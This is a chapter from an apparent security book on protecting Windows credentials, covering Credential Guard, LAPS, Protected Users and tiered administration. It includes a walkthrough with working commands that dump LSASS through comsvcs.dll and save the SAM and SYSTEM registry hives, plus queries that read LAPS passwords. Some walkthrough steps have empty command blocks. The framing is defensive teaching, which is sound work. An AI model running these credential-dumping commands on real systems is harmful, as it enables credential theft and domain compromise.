Credential Protection

Less Trust, Less Damage

Attack paths shrink once permissions, segments, and management channels are consistently configured.

For Credential Protection, the foundation remains the same: less implicit trust and more visibility into anomalous behavior.

This way, you not only reduce the likelihood of incidents, but especially the scope and duration when something does go wrong.

Immediate actions (15 minutes)

• Start with MFA, least privilege, and tiering for admin accounts.
• Enforce segmentation and explicit firewall rules on critical paths.
• Ensure logging, detection, and recovery tests are a structural operation.

Why this matters

The core of Credential Protection is risk reduction in practice. Technical context supports the choice of measures, but implementation and assurance are central.

Defense -- Protecting Credentials

Credential Guard

This is the single most effective measure against credential theft. Windows Credential Guard uses virtualization-based security (VBS) to isolate LSASS in a separate Hyper-V container. Even SYSTEM processes cannot access the credentials.

With Credential Guard: - Mimikatz sekurlsa::logonpasswords fails - LSASS dumps contain no usable credentials - Pass-the-Hash is severely limited

Requirements: - UEFI Secure Boot - TPM 2.0 (recommended) - Windows 10 Enterprise / Education, or Server 2016+ - No legacy applications that require NTLM v1 or WDigest

That last point is the reason many organizations do not implement it. There is always that one legacy application from 2008 that only works with NTLM v1 and that is "business critical." And so Credential Guard stays on the roadmap. Year after year after year.

LAPS -- Local Administrator Password Solution

LAPS ensures that each workstation has a unique, random local admin password that is regularly rotated. The passwords are stored in Active Directory and are only readable by authorized accounts.

Without LAPS: if you have the local admin password of one workstation, you have them all. With LAPS: if you have the local admin password of one workstation, you have precisely that workstation.

The difference is the difference between stealing a master key and stealing a single key.

# Check if LAPS is configured (as an attacker)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd' -ne $null}

# If you can read the LAPS passwords (requires permissions)
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

Protected Users group

The Protected Users security group is an underestimated defense measure. Members of this group:

• Cannot authenticate via NTLM (Kerberos only)
• No WDigest caching, even if it is enabled
• No delegation of credentials
• Kerberos TGT lifetime limited to 4 hours (instead of 10)
• No caching of credentials on machines they log into

Add all sensitive accounts: domain admins, enterprise admins, service accounts with elevated privileges.

# Add an account to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "admin.vanderberg"

Tiered Administration Model

The most fundamental yet least implemented defense: a layered administration model.

• Tier 0: Domain controllers, PKI, ADFS -- only accessible from dedicated Privileged Access Workstations (PAWs)
• Tier 1: Member servers -- managed from dedicated admin workstations, not from regular workstations
• Tier 2: Workstations -- standard user rights, no local admin

The logic is simple: a domain admin should never log into a workstation. If they do, they leave behind credentials that can be stolen. By strictly separating tiers, you prevent a compromised workstation from leading to domain compromise.

But tiered administration is difficult, unpopular with system administrators ("I do not want to keep switching accounts"), and requires discipline. It is like telling people not to leave their car keys on the kitchen table. Everyone understands it, nobody does it.

The password reuse problem -- The uncomfortable truth

Let me share a statistic that astounds me every time. In my experience -- and this is anecdotal but consistent -- at least 60% of users in an average organization reuse their password across multiple systems. The local admin password is the same on 80% of workstations. And the domain admin has the same password as their personal Gmail account.

We have known for twenty years that password reuse is a problem. We have password managers, we have MFA, we have biometric authentication, we have passkeys. And yet, in 2026, the most common local admin password in Dutch companies is something like "Welcome01!" or the company name followed by the year.

We call it a password. One word. One secret that protects everything. And what do people do? They write it on a Post-it and stick it on their monitor. That is not a password, that is a welcome sign."

The funny thing is that organizations spend millions on firewalls, SIEMs, SOCs, and threat intelligence feeds. And then the CFO logs in with "Welcome01!" on their workstation, their VPN, their email, and their bank account. All those millions in security become irrelevant through six keystrokes and a lack of imagination.

The solution is not technical. The technology exists. Password managers work. MFA works. Credential Guard works. The solution is organizational: management must decide that security takes priority over convenience. And that is the problem. Because convenience always wins. Convenience is the death of security. And security is the unwanted child of IT -- everyone knows it exists, nobody wants to pay for it, and when something goes wrong, it is suddenly everyone's problem.

Practical walkthrough -- From LSASS to domain admin

Let us walk through a complete scenario. You are on workstation WS01 as CORP\jdejong with local admin rights.

Step 1: Dump LSASS

# Check if PPL is active
Get-Process lsass | Format-List *protect*

# If PPL is not active (most common):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

Step 2: Extract credentials

On your own machine:

Step 3: Pass-the-Hash to the next machine

admin.vanderberg is admin on SRV01. Use the hash:

Step 4: On SRV01 -- more credentials

# Dump LSASS again
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

# Dump SAM for local accounts
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bak

Step 5: LaZagne for extra credentials

Well, look at that. The plaintext password. Stored in PuTTY. On a server where the admin sets up SSH sessions to the domain controller every day.

Step 6: Domain controller

Game over. From workstation to domain controller in six steps. The total time in a real assessment: less than an hour.

This is why credential access is the holy grail. It is not spectacular, it is not complicated, it is not advanced. It is simply picking up keys that are lying around everywhere.

The credential chain summarized

Every step in this chain could have been prevented: - Step 1: Credential Guard on WS01 would have made the LSASS dump useless - Step 2: LAPS would have ensured the local admin hash was not reusable - Step 3: Tiered administration would have prevented admin.vanderberg from logging into WS01 - Step 4: A password manager (instead of PuTTY saved sessions) would not have exposed the plaintext password - Step 5: Protected Users group would have prevented credential caching on SRV01

Five defenses. None of them implemented. Not because they do not exist, not because they are too expensive, not because they are too complex. But because there was always something "more urgent." A new feature, a deadline, a migration. Security comes later. Security always comes later. Until it is too late.

Additional resources

Credential protection validation

Validate defensively whether protection works: check Credential Guard status, RunAsPPL configuration, LSASS protection, and relevant detection rules in SIEM.

Hashcat quick reference

Summary

Credential access is the lubricant of every network attack. Without credentials, you are stuck. With credentials, you move freely. The techniques are not new, not advanced, and not particularly creative. They exploit a fundamental problem: Windows stores credentials in memory, people reuse passwords, and organizations do not implement the available defenses.

LSASS contains the crown jewels and is often unprotected. The SAM database is three reg save commands away from full exposure. Tokens are lying around on machines where admins have previously logged in. And LaZagne retrieves passwords that people consciously stored in their browser, PuTTY, or WinSCP.

The defenses exist: Credential Guard, LAPS, Protected Users, tiered administration. They work. They are proven. They are available without additional license costs. But they require effort, discipline, and the willingness to let users complain about the inconvenience for a while.

In the next chapter, we shift our attention to Active Directory Certificate Services -- ADCS -- where we discover that certificates are just as abusable as passwords, but with a longer shelf life.

Next: Chapter 11 -- ADCS